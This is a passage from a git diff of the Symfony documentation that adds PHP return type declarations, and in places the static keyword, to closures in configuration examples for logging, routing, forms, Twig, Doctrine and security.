         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->channels(['foo', 'bar', 'foo_bar']);
         };
 
diff --git a/logging/formatter.rst b/logging/formatter.rst
index ffddbd1ed72..6f2bfc7906c 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -48,7 +48,7 @@ configure your handler to use it:
         // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php)
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('file')
                 ->type('stream')
                 ->level('debug')
diff --git a/logging/handlers.rst b/logging/handlers.rst
index ef4c8990d48..d44e3ab18a3 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -123,7 +123,7 @@ Then reference it in the Monolog configuration:
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('es')
                 ->type('service')
                 ->id(ElasticsearchLogstashHandler::class)
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 75f2aa51d32..ad06cfabbff 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -117,7 +117,7 @@ The Monolog console handler is enabled by default:
         // config/packages/dev/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('console')
                 ->type('console')
                 ->processPsr3Messages(false)
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index e6da3dbeb51..3610b3c1b4c 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -97,7 +97,7 @@ it is broken down.
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $mainHandler = $monolog->handler('main')
                 ->type('fingers_crossed')
                 // 500 errors are logged at the critical level
@@ -176,7 +176,7 @@ You can adjust the time period using the ``time`` option:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             // ...
 
             $monolog->handler('deduplicated')
@@ -285,7 +285,7 @@ get logged on the server as well as the emails being sent:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('fingers_crossed')
                 ->actionLevel('critical')
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index a49dcfe8e1f..810abdd5b9f 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -46,7 +46,7 @@ logging these HTTP codes based on the MonologBundle configuration:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $mainHandler = $monolog->handler('main')
                 // ...
                 ->type('fingers_crossed')
diff --git a/logging/processors.rst b/logging/processors.rst
index 0ff2e88ea78..dc60faf84b1 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -150,7 +150,7 @@ Finally, set the formatter to be used on whatever handler you want:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
diff --git a/mailer.rst b/mailer.rst
index f1528a81bc0..895ba2a7262 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -813,7 +813,7 @@ image files as usual. First, to simplify things, define a Twig namespace called
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             // point this wherever your images live
@@ -922,7 +922,7 @@ called ``styles`` that points to the directory where ``email.css`` lives:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             // point this wherever your css files live
diff --git a/migration.rst b/migration.rst
index 551004eb14c..4c1286125da 100644
--- a/migration.rst
+++ b/migration.rst
@@ -458,10 +458,10 @@ which script to call and wrap the output in a response class::
 
     class LegacyController
     {
-        public function loadLegacyScript(string $requestPath, string $legacyScript)
+        public function loadLegacyScript(string $requestPath, string $legacyScript): StreamedResponse
         {
             return new StreamedResponse(
-                function () use ($requestPath, $legacyScript) {
+                function () use ($requestPath, $legacyScript): string {
                     $_SERVER['PHP_SELF'] = $requestPath;
                     $_SERVER['SCRIPT_NAME'] = $requestPath;
                     $_SERVER['SCRIPT_FILENAME'] = $legacyScript;
diff --git a/notifier.rst b/notifier.rst
index 9a20b816ab9..84b74d7bcf1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -881,7 +881,7 @@ dispatched. Listeners receive a
 
     use Symfony\Component\Notifier\Event\MessageEvent;
 
-    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
+    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event): void {
         // gets the message instance
         $message = $event->getMessage();
 
@@ -904,7 +904,7 @@ Listeners receive a
 
     use Symfony\Component\Notifier\Event\FailedMessageEvent;
 
-    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
+    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event): void {
         // gets the message instance
         $message = $event->getMessage();
 
@@ -927,7 +927,7 @@ is dispatched. Listeners receive a
 
     use Symfony\Component\Notifier\Event\SentMessageEvent;
 
-    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
+    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event): void {
         // gets the message instance
         $message = $event->getOriginalMessage();
 
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index f11d148e383..34413aec55e 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -280,7 +280,7 @@ using the special ``when@`` keyword:
 
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
+        return static function (FrameworkConfig $framework, ContainerConfigurator $container): void {
             $framework->router()
                 ->utf8(true)
             ;
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 71f8968c35a..672aabc0ebd 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -353,7 +353,7 @@ directory instead:
 
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $emDefault = $doctrine->orm()->entityManager('default');
 
             $emDefault->autoMapping(true);
@@ -413,7 +413,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $emDefault = $doctrine->orm()->entityManager('default');
 
             $emDefault->autoMapping(true);
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 5d4ac3189ae..33bfc9e687a 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -149,7 +149,7 @@ application:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             // 'main' is the name of the firewall (can be chosen freely)
@@ -572,7 +572,7 @@ The security configuration should be:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->lazy(true);
             $mainFirewall->jsonLogin()
@@ -697,7 +697,7 @@ X.509 Authentication
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->x509()
                 ->provider('your_user_provider')
@@ -768,7 +768,7 @@ Remote User Authentication
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->remoteUser()
                 ->provider('your_user_provider')
@@ -849,7 +849,7 @@ multiple firewalls, the "context" could actually be shared:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('somename')
                 // ...
                 ->context('my_context')
@@ -911,7 +911,7 @@ the session must not be used when authenticating users:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->stateless(true);
             // ...
@@ -970,7 +970,7 @@ Firewalls can configure a list of required badges that must be present on the au
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->requiredBadges(['CsrfTokenBadge', 'My\Badge']);
             // ...
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 0117e4efc7c..cc079da6745 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -226,7 +226,7 @@ The value of this option can be a regular expression, a glob, or a string:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->fileNamePattern([
                 '*.twig',
                 'specific_file.html',
@@ -277,7 +277,7 @@ all the forms of the application:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'bootstrap_5_layout.html.twig',
                 'form/my_theme.html.twig',
@@ -412,7 +412,7 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->path('email/default/templates', null);
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 89a5bb5a8e2..62184f805cd 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -237,7 +237,7 @@ constructor of the Callback constraint::
     {
         public static function loadValidatorMetadata(ClassMetadata $metadata)
         {
-            $callback = function ($object, ExecutionContextInterface $context, $payload) {
+            $callback = function ($object, ExecutionContextInterface $context, $payload): void {
                 // ...
             };
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 941654f5593..32640195c6e 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -73,21 +73,21 @@ method::
         // a callback to return the label for a given choice
         // if a placeholder is used, its empty value (null) may be passed but
         // its label is defined by its own "placeholder" option
-        'choice_label' => function (?Category $category) {
+        'choice_label' => function (?Category $category): string {
             return $category ? strtoupper($category->getName()) : '';
         },
         // returns the html attributes for each option input (may be radio/checkbox)
-        'choice_attr' => function (?Category $category) {
+        'choice_attr' => function (?Category $category): array {
             return $category ? ['class' => 'category_'.strtolower($category->getName())] : [];
         },
         // every option can use a string property path or any callable that get
         // passed each choice as argument, but it may not be needed
-        'group_by' => function () {
+        'group_by' => function (): string {
             // randomly assign things into 2 groups
-            return rand(0, 1) == 1 ? 'Group A' : 'Group B';
+            return rand(0, 1) === 1 ? 'Group A' : 'Group B';
         },
         // a callback to return whether a category is preferred
-        'preferred_choices' => function (?Category $category) {
+        'preferred_choices' => function (?Category $category): bool {
             return $category && 100 < $category->getArticleCounts();
         },
     ]);
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 7030db2f7ed..c18c558dbdc 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -160,7 +160,7 @@ the value is removed from the collection. For example::
 
     $builder->add('users', CollectionType::class, [
         // ...
-        'delete_empty' => function (User $user = null) {
+        'delete_empty' => function (User $user = null): bool {
             return null === $user || empty($user->getFirstName());
         },
     ]);
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 884ab26a0d0..a524e3e02d0 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -58,7 +58,7 @@ the `query_builder`_ option::
 
     $builder->add('users', EntityType::class, [
         'class' => User::class,
-        'query_builder' => function (EntityRepository $er) {
+        'query_builder' => function (EntityRepository $er): QueryBuilder {
             return $er->createQueryBuilder('u')
                 ->orderBy('u.username', 'ASC');
         },
@@ -124,7 +124,7 @@ method. You can also pass a callback function for more control::
 
     $builder->add('category', EntityType::class, [
         'class' => Category::class,
-        'choice_label' => function ($category) {
+        'choice_label' => function (Category $category): string {
             return $category->getDisplayName();
         }
     ]);
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index 38a97a6cd36..db5a47f4109 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -33,7 +33,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
             'No' => false,
             'Maybe' => null,
         ],
-        'choice_attr' => function ($choice, $key, $value) {
+        'choice_attr' => function ($choice, string $key, mixed $value) {
             // adds a class like attending_yes, attending_no, etc
             return ['class' => 'attending_'.strtolower($key)];
         },
@@ -49,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
 
         // ...
         $builder->add('choices', ChoiceType::class, [
-            'choice_attr' => ChoiceList::attr($this, function (?Category $category) {
+            'choice_attr' => ChoiceList::attr($this, function (?Category $category): array {
                 return $category ? ['data-uuid' => $category->getUuid()] : [];
             }),
         ]);
diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index b220d12fd1d..235e1d84ed9 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -37,7 +37,7 @@ define a callable that takes each choice as the only argument and must return
                 ->add('country', CountryType::class, [
                     // if the AddressType "allowed_countries" option is passed,
                     // use it to create a filter
-                    'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries) {
+                    'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries): bool {
                         return in_array($countryCode, $allowedCountries, true);
                     } : null,
 
@@ -69,7 +69,7 @@ The option can be a callable or a property path when choices are objects::
         'choice_filter' => $allowedCountries ? ChoiceList::filter(
             // pass the type as first argument
             $this,
-            function ($countryCode) use ($allowedCountries) {
+            function (string $countryCode) use ($allowedCountries): bool {
                 return in_array($countryCode, $allowedCountries, true);
             },
             // pass the option that makes the filter "vary" to compute a unique hash
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 33b5ccbfc54..8fedf4cb88c 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -16,7 +16,7 @@ more control::
             'no' => false,
             'maybe' => null,
         ],
-        'choice_label' => function ($choice, $key, $value) {
+        'choice_label' => function ($choice, string $key, mixed $value): TranslatableMessage|string {
             if (true === $choice) {
                 return 'Definitely!';
             }
diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 67062c56ada..5dec1b6cede 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -17,7 +17,7 @@ if you want to take advantage of lazy loading::
     // ...
 
     $builder->add('loaded_choices', ChoiceType::class, [
-        'choice_loader' => new CallbackChoiceLoader(function () {
+        'choice_loader' => new CallbackChoiceLoader(static function (): array {
             return StaticClass::getConstants();
         }),
     ]);
@@ -57,7 +57,7 @@ better performance::
 
                 // you can pass your own loader as well, depending on other options
                 'some_key' => null,
-                'choice_loader' => function (Options $options) {
+                'choice_loader' => function (Options $options): array {
                     return ChoiceList::loader(
                         // pass the instance of the type or type extension which is
                         // currently configuring the choice list as first argument
diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
index c1bad6dc336..09c063c2d2b 100644
--- a/reference/forms/types/options/choice_translation_parameters.rst.inc
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -54,7 +54,7 @@ You can specify the placeholder values as follows::
             'form.order.yes' => true,
             'form.order.no' => false,
         ],
-        'choice_translation_parameters' => function ($choice, $key, $value) {
+        'choice_translation_parameters' => function ($choice, string $key, mixed $value): array {
             if (false === $choice) {
                 return [];
             }
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index 13bc324cd2a..4b3668074a9 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -15,7 +15,7 @@ If you pass a callable, it will receive one argument: the choice itself. When us
 the :doc:`/reference/forms/types/entity`, the argument will be the entity object
 for each choice or ``null`` in a placeholder is used, which you need to handle::
 
-    'choice_value' => function (?MyOptionEntity $entity) {
+    'choice_value' => function (?MyOptionEntity $entity): string {
         return $entity ? $entity->getId() : '';
     },
 
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 8cb1278136d..479bb7e3663 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -33,7 +33,7 @@ be especially useful if your values are objects::
             '1 week' => new \DateTime('+1 week'),
             '1 month' => new \DateTime('+1 month'),
         ],
-        'preferred_choices' => function ($choice, $key, $value) {
+        'preferred_choices' => function ($choice, $key, $value): bool {
             // prefer options within 3 days
             return $choice <= new \DateTime('+3 days');
         },
diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc
index 90f79bede75..c5fe70b6d67 100644
--- a/reference/forms/types/options/validation_groups.rst.inc
+++ b/reference/forms/types/options/validation_groups.rst.inc
@@ -34,7 +34,7 @@ the option. Symfony will then pass the form when calling it::
     public function configureOptions(OptionsResolver $resolver)
     {
         $resolver->setDefaults([
-            'validation_groups' => function (FormInterface $form) {
+            'validation_groups' => function (FormInterface $form): array {
                 $entity = $form->getData();
 
                 return $entity->isUser() ? ['User'] : ['Company'];
diff --git a/routing.rst b/routing.rst
index d06a4c3f864..721a239d98e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -143,7 +143,7 @@ the ``BlogController``:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog')
                 // the controller value has the format [controller_class, method_name]
                 ->controller([BlogController::class, 'list'])
@@ -229,7 +229,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         use App\Controller\BlogApiController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('api_post_show', '/api/posts/{id}')
                 ->controller([BlogApiController::class, 'show'])
                 ->methods(['GET', 'HEAD'])
@@ -341,7 +341,7 @@ arbitrary matching logic:
         use App\Controller\DefaultController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
@@ -535,7 +535,7 @@ For example, the route to display the blog post contents is defined as ``/blog/{
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('blog_show', '/blog/{slug}')
                 ->controller([BlogController::class, 'show'])
             ;
@@ -625,7 +625,7 @@ the ``{page}`` parameter using the ``requirements`` option:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page}')
                 ->controller([BlogController::class, 'list'])
                 ->requirements(['page' => '\d+'])
@@ -729,7 +729,7 @@ concise, but it can decrease route readability when requirements are complex:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page<\d+>}')
                 ->controller([BlogController::class, 'list'])
             ;
@@ -806,7 +806,7 @@ other configuration formats they are defined with the ``defaults`` option:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page}')
                 ->controller([BlogController::class, 'list'])
                 ->defaults(['page' => 1])
@@ -881,7 +881,7 @@ parameter:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page<\d+>?1}')
                 ->controller([BlogController::class, 'list'])
             ;
@@ -1078,7 +1078,7 @@ and in route imports. Symfony defines some special attributes with the same name
 
         use App\Controller\ArticleController;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('article_show', '/articles/{_locale}/search.{_format}')
                 ->controller([ArticleController::class, 'search'])
                 ->locale('en')
@@ -1148,7 +1148,7 @@ the controllers of the routes:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_index', '/blog/{page}')
                 ->controller([BlogController::class, 'index'])
                 ->defaults([
@@ -1219,7 +1219,7 @@ A possible solution is to change the parameter requirements to be more permissiv
         use App\Controller\DefaultController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('share', '/share/{token}')
                 ->controller([DefaultController::class, 'share'])
                 ->requirements([
@@ -1277,7 +1277,7 @@ Route alias allow you to have multiple name for the same route:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->alias('new_route_name', 'original_route_name');
         };
 
@@ -1452,7 +1452,7 @@ when importing the routes.
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import(
                     '../../src/Controller/',
                     'annotation',
@@ -1526,7 +1526,7 @@ defined in the class annotation.
             // config/routes/annotations.php
             use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-            return function (RoutingConfigurator $routes) {
+            return static function (RoutingConfigurator $routes): void {
                 $routes->import('../../src/Controller/', 'annotation')
                     // the second argument is the $trailingSlashOnRoot option
                     ->prefix('/blog', false)
@@ -1678,7 +1678,7 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
         use Symfony\Bundle\FrameworkBundle\Controller\RedirectController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('doc_shortcut', '/doc')
                 ->controller(RedirectController::class)
                  ->defaults([
@@ -1803,7 +1803,7 @@ host name:
         use App\Controller\MainController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('mobile_homepage', '/')
                 ->controller([MainController::class, 'mobileHomepage'])
                 ->host('m.example.com')
@@ -1892,7 +1892,7 @@ multi-tenant applications) and these parameters can be validated too with
         use App\Controller\MainController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('mobile_homepage', '/')
                 ->controller([MainController::class, 'mobileHomepage'])
                 ->host('{subdomain}.example.com')
@@ -1999,7 +1999,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         use App\Controller\CompanyController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('about_us', [
                 'en' => '/about-us',
                 'nl' => '/over-ons',
@@ -2059,7 +2059,7 @@ with a locale. This can be done by defining a different prefix for each locale
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../../src/Controller/', 'annotation')
                 ->prefix([
                     // don't prefix URLs for English, the default locale
@@ -2103,7 +2103,7 @@ locale.
 
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
                     'en' => 'https://www.example.com',
@@ -2170,7 +2170,7 @@ session shouldn't be used when matching a request:
         use App\Controller\MainController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('homepage', '/')
                 ->controller([MainController::class, 'homepage'])
                 ->stateless()
@@ -2544,7 +2544,7 @@ each route explicitly:
         use App\Controller\SecurityController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('login', '/login')
                 ->controller([SecurityController::class, 'login'])
                 ->schemes(['https'])
@@ -2603,7 +2603,7 @@ defined as annotations:
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../../src/Controller/', 'annotation')
                 ->schemes(['https'])
             ;
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 830e1d64320..5caf51e8213 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -83,7 +83,7 @@ Symfony provides several route loaders for the most common needs:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
@@ -175,7 +175,7 @@ Take these lines from the ``routes.yaml``:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../src/Controller', 'attribute');
         };
 
@@ -229,7 +229,7 @@ and configure the service and method to call:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('admin_route_loader::loadRoutes', 'service');
         };
 
@@ -413,7 +413,7 @@ What remains to do is adding a few lines to the routing configuration:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('.', 'extra');
         };
 
diff --git a/security.rst b/security.rst
index 8d33ff682e6..59a237130e9 100644
--- a/security.rst
+++ b/security.rst
@@ -272,7 +272,7 @@ for a user provider in your security configuration:
         use App\Entity\User;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->provider('app_user_provider')
@@ -402,7 +402,7 @@ have done this for you:
         use App\Entity\User;
         use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             // Use native password hasher, which auto-selects and migrates the best
@@ -535,7 +535,7 @@ will be able to authenticate (e.g. login form, API token, etc).
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('dev')
                 ->pattern('^/(_(profiler|wdt)|css|images|js)/')
@@ -735,7 +735,7 @@ Then, enable the form login authenticator using the ``form_login`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
diff --git a/security/access_control.rst b/security/access_control.rst
index cd1f8f276d6..abba217702f 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -314,7 +314,7 @@ pattern so that it is only accessible by requests from the local server itself:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
